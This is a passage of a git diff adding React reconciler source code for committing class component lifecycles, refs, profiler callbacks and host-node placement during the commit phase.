+            'Expected %s props to match memoized props before ' +
+              'componentDidUpdate. ' +
+              'This might either be because of a bug in React, or because ' +
+              'a component reassigns its own `this.props`. ' +
+              'Please file an issue.',
+            getComponentNameFromFiber(finishedWork) || 'instance',
+          );
+        }
+        if (instance.state !== finishedWork.memoizedState) {
+          console.error(
+            'Expected %s state to match memoized state before ' +
+              'componentDidUpdate. ' +
+              'This might either be because of a bug in React, or because ' +
+              'a component reassigns its own `this.state`. ' +
+              'Please file an issue.',
+            getComponentNameFromFiber(finishedWork) || 'instance',
+          );
+        }
+      }
+    }
+    if (shouldProfile(finishedWork)) {
+      startEffectTimer();
+      if (__DEV__) {
+        runWithFiberInDEV(
+          finishedWork,
+          callComponentDidUpdateInDEV,
+          finishedWork,
+          instance,
+          prevProps,
+          prevState,
+          instance.__reactInternalSnapshotBeforeUpdate,
+        );
+      } else {
+        try {
+          instance.componentDidUpdate(
+            prevProps,
+            prevState,
+            instance.__reactInternalSnapshotBeforeUpdate,
+          );
+        } catch (error) {
+          captureCommitPhaseError(finishedWork, finishedWork.return, error);
+        }
+      }
+      recordEffectDuration(finishedWork);
+    } else {
+      if (__DEV__) {
+        runWithFiberInDEV(
+          finishedWork,
+          callComponentDidUpdateInDEV,
+          finishedWork,
+          instance,
+          prevProps,
+          prevState,
+          instance.__reactInternalSnapshotBeforeUpdate,
+        );
+      } else {
+        try {
+          instance.componentDidUpdate(
+            prevProps,
+            prevState,
+            instance.__reactInternalSnapshotBeforeUpdate,
+          );
+        } catch (error) {
+          captureCommitPhaseError(finishedWork, finishedWork.return, error);
+        }
+      }
+    }
+  }
+}
+
+export function commitClassDidMount(finishedWork: Fiber) {
+  // TODO: Check for LayoutStatic flag
+  const instance = finishedWork.stateNode;
+  if (typeof instance.componentDidMount === 'function') {
+    if (__DEV__) {
+      runWithFiberInDEV(
+        finishedWork,
+        callComponentDidMountInDEV,
+        finishedWork,
+        instance,
+      );
+    } else {
+      try {
+        instance.componentDidMount();
+      } catch (error) {
+        captureCommitPhaseError(finishedWork, finishedWork.return, error);
+      }
+    }
+  }
+}
+
+export function commitClassCallbacks(finishedWork: Fiber) {
+  // TODO: I think this is now always non-null by the time it reaches the
+  // commit phase. Consider removing the type check.
+  const updateQueue: UpdateQueue<mixed> | null =
+    (finishedWork.updateQueue: any);
+  if (updateQueue !== null) {
+    const instance = finishedWork.stateNode;
+    if (__DEV__) {
+      if (
+        !finishedWork.type.defaultProps &&
+        !('ref' in finishedWork.memoizedProps) &&
+        !didWarnAboutReassigningProps
+      ) {
+        if (instance.props !== finishedWork.memoizedProps) {
+          console.error(
+            'Expected %s props to match memoized props before ' +
+              'processing the update queue. ' +
+              'This might either be because of a bug in React, or because ' +
+              'a component reassigns its own `this.props`. ' +
+              'Please file an issue.',
+            getComponentNameFromFiber(finishedWork) || 'instance',
+          );
+        }
+        if (instance.state !== finishedWork.memoizedState) {
+          console.error(
+            'Expected %s state to match memoized state before ' +
+              'processing the update queue. ' +
+              'This might either be because of a bug in React, or because ' +
+              'a component reassigns its own `this.state`. ' +
+              'Please file an issue.',
+            getComponentNameFromFiber(finishedWork) || 'instance',
+          );
+        }
+      }
+    }
+    // We could update instance props and state here,
+    // but instead we rely on them being set during last render.
+    // TODO: revisit this when we implement resuming.
+    try {
+      if (__DEV__) {
+        runWithFiberInDEV(finishedWork, commitCallbacks, updateQueue, instance);
+      } else {
+        commitCallbacks(updateQueue, instance);
+      }
+    } catch (error) {
+      captureCommitPhaseError(finishedWork, finishedWork.return, error);
+    }
+  }
+}
+
+export function commitClassHiddenCallbacks(finishedWork: Fiber) {
+  // Commit any callbacks that would have fired while the component
+  // was hidden.
+  const updateQueue: UpdateQueue<mixed> | null =
+    (finishedWork.updateQueue: any);
+  if (updateQueue !== null) {
+    const instance = finishedWork.stateNode;
+    try {
+      if (__DEV__) {
+        runWithFiberInDEV(
+          finishedWork,
+          commitHiddenCallbacks,
+          updateQueue,
+          instance,
+        );
+      } else {
+        commitHiddenCallbacks(updateQueue, instance);
+      }
+    } catch (error) {
+      captureCommitPhaseError(finishedWork, finishedWork.return, error);
+    }
+  }
+}
+
+export function commitRootCallbacks(finishedWork: Fiber) {
+  // TODO: I think this is now always non-null by the time it reaches the
+  // commit phase. Consider removing the type check.
+  const updateQueue: UpdateQueue<mixed> | null =
+    (finishedWork.updateQueue: any);
+  if (updateQueue !== null) {
+    let instance = null;
+    if (finishedWork.child !== null) {
+      switch (finishedWork.child.tag) {
+        case HostSingleton:
+        case HostComponent:
+          instance = getPublicInstance(finishedWork.child.stateNode);
+          break;
+        case ClassComponent:
+          instance = finishedWork.child.stateNode;
+          break;
+      }
+    }
+    try {
+      if (__DEV__) {
+        runWithFiberInDEV(finishedWork, commitCallbacks, updateQueue, instance);
+      } else {
+        commitCallbacks(updateQueue, instance);
+      }
+    } catch (error) {
+      captureCommitPhaseError(finishedWork, finishedWork.return, error);
+    }
+  }
+}
+
+let didWarnAboutUndefinedSnapshotBeforeUpdate: Set<mixed> | null = null;
+if (__DEV__) {
+  didWarnAboutUndefinedSnapshotBeforeUpdate = new Set();
+}
+
+function callGetSnapshotBeforeUpdates(
+  instance: any,
+  prevProps: any,
+  prevState: any,
+) {
+  return instance.getSnapshotBeforeUpdate(prevProps, prevState);
+}
+
+export function commitClassSnapshot(finishedWork: Fiber, current: Fiber) {
+  const prevProps = current.memoizedProps;
+  const prevState = current.memoizedState;
+  const instance = finishedWork.stateNode;
+  // We could update instance props and state here,
+  // but instead we rely on them being set during last render.
+  // TODO: revisit this when we implement resuming.
+  if (__DEV__) {
+    if (
+      !finishedWork.type.defaultProps &&
+      !('ref' in finishedWork.memoizedProps) &&
+      !didWarnAboutReassigningProps
+    ) {
+      if (instance.props !== finishedWork.memoizedProps) {
+        console.error(
+          'Expected %s props to match memoized props before ' +
+            'getSnapshotBeforeUpdate. ' +
+            'This might either be because of a bug in React, or because ' +
+            'a component reassigns its own `this.props`. ' +
+            'Please file an issue.',
+          getComponentNameFromFiber(finishedWork) || 'instance',
+        );
+      }
+      if (instance.state !== finishedWork.memoizedState) {
+        console.error(
+          'Expected %s state to match memoized state before ' +
+            'getSnapshotBeforeUpdate. ' +
+            'This might either be because of a bug in React, or because ' +
+            'a component reassigns its own `this.state`. ' +
+            'Please file an issue.',
+          getComponentNameFromFiber(finishedWork) || 'instance',
+        );
+      }
+    }
+  }
+  try {
+    const resolvedPrevProps = resolveClassComponentProps(
+      finishedWork.type,
+      prevProps,
+    );
+    let snapshot;
+    if (__DEV__) {
+      snapshot = runWithFiberInDEV(
+        finishedWork,
+        callGetSnapshotBeforeUpdates,
+        instance,
+        resolvedPrevProps,
+        prevState,
+      );
+      const didWarnSet =
+        ((didWarnAboutUndefinedSnapshotBeforeUpdate: any): Set<mixed>);
+      if (snapshot === undefined && !didWarnSet.has(finishedWork.type)) {
+        didWarnSet.add(finishedWork.type);
+        runWithFiberInDEV(finishedWork, () => {
+          console.error(
+            '%s.getSnapshotBeforeUpdate(): A snapshot value (or null) ' +
+              'must be returned. You have returned undefined.',
+            getComponentNameFromFiber(finishedWork),
+          );
+        });
+      }
+    } else {
+      snapshot = callGetSnapshotBeforeUpdates(
+        instance,
+        resolvedPrevProps,
+        prevState,
+      );
+    }
+    instance.__reactInternalSnapshotBeforeUpdate = snapshot;
+  } catch (error) {
+    captureCommitPhaseError(finishedWork, finishedWork.return, error);
+  }
+}
+
+// Capture errors so they don't interrupt unmounting.
+export function safelyCallComponentWillUnmount(
+  current: Fiber,
+  nearestMountedAncestor: Fiber | null,
+  instance: any,
+) {
+  instance.props = resolveClassComponentProps(
+    current.type,
+    current.memoizedProps,
+  );
+  instance.state = current.memoizedState;
+  if (shouldProfile(current)) {
+    startEffectTimer();
+    if (__DEV__) {
+      runWithFiberInDEV(
+        current,
+        callComponentWillUnmountInDEV,
+        current,
+        nearestMountedAncestor,
+        instance,
+      );
+    } else {
+      try {
+        instance.componentWillUnmount();
+      } catch (error) {
+        captureCommitPhaseError(current, nearestMountedAncestor, error);
+      }
+    }
+    recordEffectDuration(current);
+  } else {
+    if (__DEV__) {
+      runWithFiberInDEV(
+        current,
+        callComponentWillUnmountInDEV,
+        current,
+        nearestMountedAncestor,
+        instance,
+      );
+    } else {
+      try {
+        instance.componentWillUnmount();
+      } catch (error) {
+        captureCommitPhaseError(current, nearestMountedAncestor, error);
+      }
+    }
+  }
+}
+
+function commitAttachRef(finishedWork: Fiber) {
+  const ref = finishedWork.ref;
+  if (ref !== null) {
+    let instanceToUse;
+    switch (finishedWork.tag) {
+      case HostHoistable:
+      case HostSingleton:
+      case HostComponent:
+        instanceToUse = getPublicInstance(finishedWork.stateNode);
+        break;
+      case ViewTransitionComponent: {
+        if (enableViewTransition) {
+          const instance: ViewTransitionState = finishedWork.stateNode;
+          const props: ViewTransitionProps = finishedWork.memoizedProps;
+          const name = getViewTransitionName(props, instance);
+          if (instance.ref === null || instance.ref.name !== name) {
+            instance.ref = createViewTransitionInstance(name);
+          }
+          instanceToUse = instance.ref;
+          break;
+        }
+        instanceToUse = finishedWork.stateNode;
+        break;
+      }
+      case Fragment:
+        if (enableFragmentRefs) {
+          const instance: null | FragmentInstanceType = finishedWork.stateNode;
+          if (instance === null) {
+            finishedWork.stateNode = createFragmentInstance(finishedWork);
+          }
+          instanceToUse = finishedWork.stateNode;
+          break;
+        }
+      // Fallthrough
+      default:
+        instanceToUse = finishedWork.stateNode;
+    }
+    if (typeof ref === 'function') {
+      if (shouldProfile(finishedWork)) {
+        try {
+          startEffectTimer();
+          finishedWork.refCleanup = ref(instanceToUse);
+        } finally {
+          recordEffectDuration(finishedWork);
+        }
+      } else {
+        finishedWork.refCleanup = ref(instanceToUse);
+      }
+    } else {
+      if (__DEV__) {
+        // TODO: We should move these warnings to happen during the render
+        // phase (markRef).
+        if (typeof ref === 'string') {
+          console.error('String refs are no longer supported.');
+        } else if (!ref.hasOwnProperty('current')) {
+          console.error(
+            'Unexpected ref object provided for %s. ' +
+              'Use either a ref-setter function or React.createRef().',
+            getComponentNameFromFiber(finishedWork),
+          );
+        }
+      }
+
+      // $FlowFixMe[incompatible-use] unable to narrow type to the non-function case
+      ref.current = instanceToUse;
+    }
+  }
+}
+
+// Capture errors so they don't interrupt mounting.
+export function safelyAttachRef(
+  current: Fiber,
+  nearestMountedAncestor: Fiber | null,
+) {
+  try {
+    if (__DEV__) {
+      runWithFiberInDEV(current, commitAttachRef, current);
+    } else {
+      commitAttachRef(current);
+    }
+  } catch (error) {
+    captureCommitPhaseError(current, nearestMountedAncestor, error);
+  }
+}
+
+export function safelyDetachRef(
+  current: Fiber,
+  nearestMountedAncestor: Fiber | null,
+) {
+  const ref = current.ref;
+  const refCleanup = current.refCleanup;
+
+  if (ref !== null) {
+    if (typeof refCleanup === 'function') {
+      try {
+        if (shouldProfile(current)) {
+          try {
+            startEffectTimer();
+            if (__DEV__) {
+              runWithFiberInDEV(current, refCleanup);
+            } else {
+              refCleanup();
+            }
+          } finally {
+            recordEffectDuration(current);
+          }
+        } else {
+          if (__DEV__) {
+            runWithFiberInDEV(current, refCleanup);
+          } else {
+            refCleanup();
+          }
+        }
+      } catch (error) {
+        captureCommitPhaseError(current, nearestMountedAncestor, error);
+      } finally {
+        // `refCleanup` has been called. Nullify all references to it to prevent double invocation.
+        current.refCleanup = null;
+        const finishedWork = current.alternate;
+        if (finishedWork != null) {
+          finishedWork.refCleanup = null;
+        }
+      }
+    } else if (typeof ref === 'function') {
+      try {
+        if (shouldProfile(current)) {
+          try {
+            startEffectTimer();
+            if (__DEV__) {
+              (runWithFiberInDEV(current, ref, null): void);
+            } else {
+              ref(null);
+            }
+          } finally {
+            recordEffectDuration(current);
+          }
+        } else {
+          if (__DEV__) {
+            (runWithFiberInDEV(current, ref, null): void);
+          } else {
+            ref(null);
+          }
+        }
+      } catch (error) {
+        captureCommitPhaseError(current, nearestMountedAncestor, error);
+      }
+    } else {
+      // $FlowFixMe[incompatible-use] unable to narrow type to RefObject
+      ref.current = null;
+    }
+  }
+}
+
+function safelyCallDestroy(
+  current: Fiber,
+  nearestMountedAncestor: Fiber | null,
+  destroy: (() => void) | (({...}) => void),
+  resource?: {...} | void | null,
+) {
+  // $FlowFixMe[extra-arg] @poteto this is safe either way because the extra arg is ignored if it's not a CRUD effect
+  const destroy_ = resource == null ? destroy : destroy.bind(null, resource);
+  if (__DEV__) {
+    runWithFiberInDEV(
+      current,
+      callDestroyInDEV,
+      current,
+      nearestMountedAncestor,
+      destroy_,
+    );
+  } else {
+    try {
+      // $FlowFixMe(incompatible-call) Already bound to resource
+      destroy_();
+    } catch (error) {
+      captureCommitPhaseError(current, nearestMountedAncestor, error);
+    }
+  }
+}
+
+function commitProfiler(
+  finishedWork: Fiber,
+  current: Fiber | null,
+  commitStartTime: number,
+  effectDuration: number,
+) {
+  const {id, onCommit, onRender} = (finishedWork.memoizedProps: ProfilerProps);
+
+  let phase: ProfilerPhase = current === null ? 'mount' : 'update';
+  if (enableProfilerNestedUpdatePhase) {
+    if (isCurrentUpdateNested()) {
+      phase = 'nested-update';
+    }
+  }
+
+  if (typeof onRender === 'function') {
+    onRender(
+      id,
+      phase,
+      // $FlowFixMe: This should be always a number in profiling mode
+      finishedWork.actualDuration,
+      // $FlowFixMe: This should be always a number in profiling mode
+      finishedWork.treeBaseDuration,
+      // $FlowFixMe: This should be always a number in profiling mode
+      finishedWork.actualStartTime,
+      commitStartTime,
+    );
+  }
+
+  if (enableProfilerCommitHooks) {
+    if (typeof onCommit === 'function') {
+      onCommit(id, phase, effectDuration, commitStartTime);
+    }
+  }
+}
+
+export function commitProfilerUpdate(
+  finishedWork: Fiber,
+  current: Fiber | null,
+  commitStartTime: number,
+  effectDuration: number,
+) {
+  if (enableProfilerTimer) {
+    try {
+      if (__DEV__) {
+        runWithFiberInDEV(
+          finishedWork,
+          commitProfiler,
+          finishedWork,
+          current,
+          commitStartTime,
+          effectDuration,
+        );
+      } else {
+        commitProfiler(finishedWork, current, commitStartTime, effectDuration);
+      }
+    } catch (error) {
+      captureCommitPhaseError(finishedWork, finishedWork.return, error);
+    }
+  }
+}
+
+function commitProfilerPostCommitImpl(
+  finishedWork: Fiber,
+  current: Fiber | null,
+  commitStartTime: number,
+  passiveEffectDuration: number,
+): void {
+  const {id, onPostCommit} = finishedWork.memoizedProps;
+
+  let phase = current === null ? 'mount' : 'update';
+  if (enableProfilerNestedUpdatePhase) {
+    if (isCurrentUpdateNested()) {
+      phase = 'nested-update';
+    }
+  }
+
+  if (typeof onPostCommit === 'function') {
+    onPostCommit(id, phase, passiveEffectDuration, commitStartTime);
+  }
+}
+
+export function commitProfilerPostCommit(
+  finishedWork: Fiber,
+  current: Fiber | null,
+  commitStartTime: number,
+  passiveEffectDuration: number,
+) {
+  try {
+    if (__DEV__) {
+      runWithFiberInDEV(
+        finishedWork,
+        commitProfilerPostCommitImpl,
+        finishedWork,
+        current,
+        commitStartTime,
+        passiveEffectDuration,
+      );
+    } else {
+      commitProfilerPostCommitImpl(
+        finishedWork,
+        current,
+        commitStartTime,
+        passiveEffectDuration,
+      );
+    }
+  } catch (error) {
+    captureCommitPhaseError(finishedWork, finishedWork.return, error);
+  }
+}
diff --git a/packages/react-reconciler/src/ReactFiberCommitHostEffects.js b/packages/react-reconciler/src/ReactFiberCommitHostEffects.js
new file mode 100644
index 000000000000..3626561e1b49
--- /dev/null
+++ b/packages/react-reconciler/src/ReactFiberCommitHostEffects.js
@@ -0,0 +1,826 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+import type {
+  Instance,
+  TextInstance,
+  ActivityInstance,
+  SuspenseInstance,
+  Container,
+  ChildSet,
+  FragmentInstanceType,
+} from './ReactFiberConfig';
+import type {Fiber, FiberRoot} from './ReactInternalTypes';
+
+import {
+  HostRoot,
+  HostComponent,
+  HostHoistable,
+  HostSingleton,
+  HostText,
+  HostPortal,
+  DehydratedFragment,
+  Fragment,
+} from './ReactWorkTags';
+import {ContentReset, Placement} from './ReactFiberFlags';
+import {
+  supportsMutation,
+  supportsResources,
+  supportsSingletons,
+  commitMount,
+  commitUpdate,
+  resetTextContent,
+  commitTextUpdate,
+  appendChild,
+  appendChildToContainer,
+  insertBefore,
+  insertInContainerBefore,
+  replaceContainerChildren,
+  hideDehydratedBoundary,
+  hideInstance,
+  hideTextInstance,
+  unhideDehydratedBoundary,
+  unhideInstance,
+  unhideTextInstance,
+  commitHydratedInstance,
+  commitHydratedContainer,
+  commitHydratedActivityInstance,
+  commitHydratedSuspenseInstance,
+  removeChildFromContainer,
+  removeChild,
+  acquireSingletonInstance,
+  releaseSingletonInstance,
+  isSingletonScope,
+  commitNewChildToFragmentInstance,
+  deleteChildFromFragmentInstance,
+} from './ReactFiberConfig';
+import {captureCommitPhaseError} from './ReactFiberWorkLoop';
+import {trackHostMutation} from './ReactFiberMutationTracking';
+
+import {runWithFiberInDEV} from './ReactCurrentFiber';
+import {
+  enableFragmentRefs,
+  enableFragmentRefsTextNodes,
+} from 'shared/ReactFeatureFlags';
+
+export function commitHostMount(finishedWork: Fiber) {
+  const type = finishedWork.type;
+  const props = finishedWork.memoizedProps;
+  const instance: Instance = finishedWork.stateNode;
+  try {
+    if (__DEV__) {
+      runWithFiberInDEV(
+        finishedWork,
+        commitMount,
+        instance,
+        type,
+        props,
+        finishedWork,
+      );
+    } else {
+      commitMount(instance, type, props, finishedWork);
+    }
+  } catch (error) {
+    captureCommitPhaseError(finishedWork, finishedWork.return, error);
+  }
+}
+
+export function commitHostHydratedInstance(finishedWork: Fiber) {
+  const type = finishedWork.type;
+  const props = finishedWork.memoizedProps;
+  const instance: Instance = finishedWork.stateNode;
+  try {
+    if (__DEV__) {
+      runWithFiberInDEV(
+        finishedWork,
+        commitHydratedInstance,
+        instance,
+        type,
+        props,
+        finishedWork,
+      );
+    } else {
+      commitHydratedInstance(instance, type, props, finishedWork);
+    }
+  } catch (error) {
+    captureCommitPhaseError(finishedWork, finishedWork.return, error);
+  }
+}
+
+export function commitHostUpdate(
+  finishedWork: Fiber,
+  newProps: any,
+  oldProps: any,
+): void {
+  try {
+    if (__DEV__) {
+      runWithFiberInDEV(
+        finishedWork,
+        commitUpdate,
+        finishedWork.stateNode,
+        finishedWork.type,
+        oldProps,
+        newProps,
+        finishedWork,
+      );
+    } else {
+      commitUpdate(
+        finishedWork.stateNode,
+        finishedWork.type,
+        oldProps,
+        newProps,
+        finishedWork,
+      );
+    }
+    // Mutations are tracked manually from within commitUpdate.
+  } catch (error) {
+    captureCommitPhaseError(finishedWork, finishedWork.return, error);
+  }
+}
+
+export function commitHostTextUpdate(
+  finishedWork: Fiber,
+  newText: string,
+  oldText: string,
+) {
+  const textInstance: TextInstance = finishedWork.stateNode;
+  try {
+    if (__DEV__) {
+      runWithFiberInDEV(
+        finishedWork,
+        commitTextUpdate,
+        textInstance,
+        oldText,
+        newText,
+      );
+    } else {
+      commitTextUpdate(textInstance, oldText, newText);
+    }
+    trackHostMutation();
+  } catch (error) {
+    captureCommitPhaseError(finishedWork, finishedWork.return, error);
+  }
+}
+
+export function commitHostResetTextContent(finishedWork: Fiber) {
+  const instance: Instance = finishedWork.stateNode;
+  try {
+    if (__DEV__) {
+      runWithFiberInDEV(finishedWork, resetTextContent, instance);
+    } else {
+      resetTextContent(instance);
+    }
+    trackHostMutation();
+  } catch (error) {
+    captureCommitPhaseError(finishedWork, finishedWork.return, error);
+  }
+}
+
+export function commitShowHideSuspenseBoundary(node: Fiber, isHidden: boolean) {
+  try {
+    const instance = node.stateNode;
+    if (isHidden) {
+      if (__DEV__) {
+        runWithFiberInDEV(node, hideDehydratedBoundary, instance);
+      } else {
+        hideDehydratedBoundary(instance);
+      }
+    } else {
+      if (__DEV__) {
+        runWithFiberInDEV(node, unhideDehydratedBoundary, node.stateNode);
+      } else {
+        unhideDehydratedBoundary(node.stateNode);
+      }
+    }
+  } catch (error) {
+    captureCommitPhaseError(node, node.return, error);
+  }
+}
+
+export function commitShowHideHostInstance(node: Fiber, isHidden: boolean) {
+  try {
+    const instance = node.stateNode;
+    if (isHidden) {
+      if (__DEV__) {
+        runWithFiberInDEV(node, hideInstance, instance);
+      } else {
+        hideInstance(instance);
+      }
+    } else {
+      if (__DEV__) {
+        runWithFiberInDEV(
+          node,
+          unhideInstance,
+          node.stateNode,
+          node.memoizedProps,
+        );
+      } else {
+        unhideInstance(node.stateNode, node.memoizedProps);
+      }
+    }
+  } catch (error) {
+    captureCommitPhaseError(node, node.return, error);
+  }
+}
+
+export function commitShowHideHostTextInstance(node: Fiber, isHidden: boolean) {
+  try {
+    const instance = node.stateNode;
+    if (isHidden) {
+      if (__DEV__) {
+        runWithFiberInDEV(node, hideTextInstance, instance);
+      } else {
+        hideTextInstance(instance);
+      }
+    } else {
+      if (__DEV__) {
+        runWithFiberInDEV(
+          node,
+          unhideTextInstance,
+          instance,
+          node.memoizedProps,
+        );
+      } else {
+        unhideTextInstance(instance, node.memoizedProps);
+      }
+    }
+    trackHostMutation();
+  } catch (error) {
+    captureCommitPhaseError(node, node.return, error);
+  }
+}
+
+export function commitNewChildToFragmentInstances(
+  fiber: Fiber,
+  parentFragmentInstances: null | Array<FragmentInstanceType>,
+): void {
+  if (
+    (fiber.tag !== HostComponent &&
+      !(enableFragmentRefsTextNodes && fiber.tag === HostText)) ||
+    // Only run fragment insertion effects for initial insertions
+    fiber.alternate !== null ||
+    parentFragmentInstances === null
+  ) {
+    return;
+  }
+  for (let i = 0; i < parentFragmentInstances.length; i++) {
+    const fragmentInstance = parentFragmentInstances[i];
+    commitNewChildToFragmentInstance(fiber.stateNode, fragmentInstance);
+  }
+}
+
+export function commitFragmentInstanceInsertionEffects(fiber: Fiber): void {
+  let parent = fiber.return;
+  while (parent !== null) {
+    if (isFragmentInstanceParent(parent)) {
+      const fragmentInstance: FragmentInstanceType = parent.stateNode;
+      commitNewChildToFragmentInstance(fiber.stateNode, fragmentInstance);
+    }
+
+    if (isHostParent(parent)) {
+      return;
+    }
+
+    parent = parent.return;
+  }
+}
+
+export function commitFragmentInstanceDeletionEffects(fiber: Fiber): void {
+  let parent = fiber.return;
+  while (parent !== null) {
+    if (isFragmentInstanceParent(parent)) {
+      const fragmentInstance: FragmentInstanceType = parent.stateNode;
+      deleteChildFromFragmentInstance(fiber.stateNode, fragmentInstance);
+    }
+
+    if (isHostParent(parent)) {
+      return;
+    }
+
+    parent = parent.return;
+  }
+}
+
+function isHostParent(fiber: Fiber): boolean {
+  return (
+    fiber.tag === HostComponent ||
+    fiber.tag === HostRoot ||
+    (supportsResources ? fiber.tag === HostHoistable : false) ||
+    (supportsSingletons
+      ? fiber.tag === HostSingleton && isSingletonScope(fiber.type)
+      : false) ||
+    fiber.tag === HostPortal
+  );
+}
+
+function isFragmentInstanceParent(fiber: Fiber): boolean {
+  return fiber && fiber.tag === Fragment && fiber.stateNode !== null;
+}
+
+function getHostSibling(fiber: Fiber): ?Instance {
+  // We're going to search forward into the tree until we find a sibling host
+  // node. Unfortunately, if multiple insertions are done in a row we have to
+  // search past them. This leads to exponential search for the next sibling.
+  // TODO: Find a more efficient way to do this.
+  let node: Fiber = fiber;
+  siblings: while (true) {
+    // If we didn't find anything, let's try the next sibling.
+    while (node.sibling === null) {
+      if (node.return === null || isHostParent(node.return)) {
+        // If we pop out of the root or hit the parent the fiber we are the
+        // last sibling.
+        return null;
+      }
+      // $FlowFixMe[incompatible-type] found when upgrading Flow
+      node = node.return;
+    }
+    node.sibling.return = node.return;
+    node = node.sibling;
+    while (
+      node.tag !== HostComponent &&
+      node.tag !== HostText &&
+      node.tag !== DehydratedFragment
+    ) {
+      // If this is a host singleton we go deeper if it's not a special
+      // singleton scope. If it is a singleton scope we skip over it because
+      // you only insert against this scope when you are already inside of it
+      if (
+        supportsSingletons &&
+        node.tag === HostSingleton &&
+        isSingletonScope(node.type)
+      ) {
+        continue siblings;
+      }
+
+      // If it is not host node and, we might have a host node inside it.
+      // Try to search down until we find one.
+      if (node.flags & Placement) {
+        // If we don't have a child, try the siblings instead.
+        continue siblings;
+      }
+      // If we don't have a child, try the siblings instead.
+      // We also skip portals because they are not part of this host tree.
+      if (node.child === null || node.tag === HostPortal) {
+        continue siblings;
+      } else {
+        node.child.return = node;
+        node = node.child;
+      }
+    }
+    // Check if this host node is stable or about to be placed.
+    if (!(node.flags & Placement)) {
+      // Found it!
+      return node.stateNode;
+    }
+  }
+}
+
+function insertOrAppendPlacementNodeIntoContainer(
+  node: Fiber,
+  before: ?Instance,
+  parent: Container,
+  parentFragmentInstances: null | Array<FragmentInstanceType>,
+): void {
+  const {tag} = node;
+  const isHost = tag === HostComponent || tag === HostText;
+  if (isHost) {
+    const stateNode = node.stateNode;
+    if (before) {
+      insertInContainerBefore(parent, stateNode, before);
+    } else {
+      appendChildToContainer(parent, stateNode);
+    }
+    if (enableFragmentRefs) {
+      commitNewChildToFragmentInstances(node, parentFragmentInstances);
+    }
+    trackHostMutation();
+    return;
+  } else if (tag === HostPortal) {
+    // If the insertion itself is a portal, then we don't want to traverse
+    // down its children. Instead, we'll get insertions from each child in
+    // the portal directly.
+    return;
+  }
+
+  if (
+    (supportsSingletons ? tag === HostSingleton : false) &&
+    isSingletonScope(node.type)
+  ) {
+    // This singleton is the parent of deeper nodes and needs to become
+    // the parent for child insertions and appends
+    parent = node.stateNode;
+    before = null;
+  }
+
+  const child = node.child;
+  if (child !== null) {
+    insertOrAppendPlacementNodeIntoContainer(
+      child,
+      before,
+      parent,
+      parentFragmentInstances,
+    );
+    let sibling = child.sibling;
+    while (sibling !== null) {
+      insertOrAppendPlacementNodeIntoContainer(
+        sibling,
+        before,
+        parent,
+        parentFragmentInstances,
+      );
+      sibling = sibling.sibling;
+    }
+  }
+}
+
+function insertOrAppendPlacementNode(
+  node: Fiber,
+  before: ?Instance,
+  parent: Instance,
+  parentFragmentInstances: null | Array<FragmentInstanceType>,
+): void {
+  const {tag} = node;
+  const isHost = tag === HostComponent || tag === HostText;
+  if (isHost) {
+    const stateNode = node.stateNode;
+    if (before) {
+      insertBefore(parent, stateNode, before);
+    } else {
+      appendChild(parent, stateNode);
+    }
+    if (enableFragmentRefs) {
+      commitNewChildToFragmentInstances(node, parentFragmentInstances);
+    }
+    trackHostMutation();
+    return;
+  } else if (tag === HostPortal) {
+    // If the insertion itself is a portal, then we don't want to traverse
+    // down its children. Instead, we'll get insertions from each child in
+    // the portal directly.
+    return;
+  }
+
+  if (
+    (supportsSingletons ? tag === HostSingleton : false) &&
+    isSingletonScope(node.type)
+  ) {
+    // This singleton is the parent of deeper nodes and needs to become
+    // the parent for child insertions and appends
+    parent = node.stateNode;
+  }
+
+  const child = node.child;
+  if (child !== null) {
+    insertOrAppendPlacementNode(child, before, parent, parentFragmentInstances);
+    let sibling = child.sibling;
+    while (sibling !== null) {
+      insertOrAppendPlacementNode(
+        sibling,
+        before,
+        parent,
+        parentFragmentInstances,
+      );
+      sibling = sibling.sibling;
+    }
+  }
+}
+
+function commitPlacement(finishedWork: Fiber): void {
+  // Recursively insert all host nodes into the parent.
+  let hostParentFiber;
+  let parentFragmentInstances = null;
+  let parentFiber = finishedWork.return;
+  while (parentFiber !== null) {
+    if (enableFragmentRefs && isFragmentInstanceParent(parentFiber)) {
+      const fragmentInstance: FragmentInstanceType = parentFiber.stateNode;
+      if (parentFragmentInstances === null) {
+        parentFragmentInstances = [fragmentInstance];
+      } else {
+        parentFragmentInstances.push(fragmentInstance);
+      }
+    }
+    if (isHostParent(parentFiber)) {
+      hostParentFiber = parentFiber;
+      break;
+    }
+    parentFiber = parentFiber.return;
+  }
+
+  if (!supportsMutation) {
+    if (enableFragmentRefs) {
+      commitImmutablePlacementNodeToFragmentInstances(
+        finishedWork,
+        parentFragmentInstances,
+      );
+    }
+    return;
+  }
+
+  if (hostParentFiber == null) {
+    throw new Error(
+      'Expected to find a host parent. This error is likely caused by a bug ' +
+        'in React. Please file an issue.',
+    );
+  }
+
+  switch (hostParentFiber.tag) {
+    case HostSingleton: {
+      if (supportsSingletons) {
+        const parent: Instance = hostParentFiber.stateNode;
+        const before = getHostSibling(finishedWork);
+        // We only have the top Fiber that was inserted but we need to recurse down its
+        // children to find all the terminal nodes.
+        insertOrAppendPlacementNode(
+          finishedWork,
+          before,
+          parent,
+          parentFragmentInstances,
+        );
+        break;
+      }
+      // Fall through
+    }
+    case HostComponent: {
+      const parent: Instance = hostParentFiber.stateNode;
+      if (hostParentFiber.flags & ContentReset) {
+        // Reset the text content of the parent before doing any insertions
+        resetTextContent(parent);
+        // Clear ContentReset from the effect tag
+        hostParentFiber.flags &= ~ContentReset;
+      }
+
+      const before = getHostSibling(finishedWork);
+      // We only have the top Fiber that was inserted but we need to recurse down its
+      // children to find all the terminal nodes.
+      insertOrAppendPlacementNode(
+        finishedWork,
+        before,
+        parent,
+        parentFragmentInstances,
+      );
+      break;
+    }
+    case HostRoot:
+    case HostPortal: {
+      const parent: Container = hostParentFiber.stateNode.containerInfo;
+      const before = getHostSibling(finishedWork);
+      insertOrAppendPlacementNodeIntoContainer(
+        finishedWork,
+        before,
+        parent,
+        parentFragmentInstances,
+      );
+      break;
+    }
+    default:
+      throw new Error(
+        'Invalid host parent fiber. This error is likely caused by a bug ' +
+          'in React. Please file an issue.',
+      );
+  }
+}
+
+function commitImmutablePlacementNodeToFragmentInstances(
+  finishedWork: Fiber,
+  parentFragmentInstances: null | Array<FragmentInstanceType>,
+): void {
+  if (!enableFragmentRefs) {
+    return;
+  }
+  const isHost = finishedWork.tag === HostComponent;
+  if (isHost) {
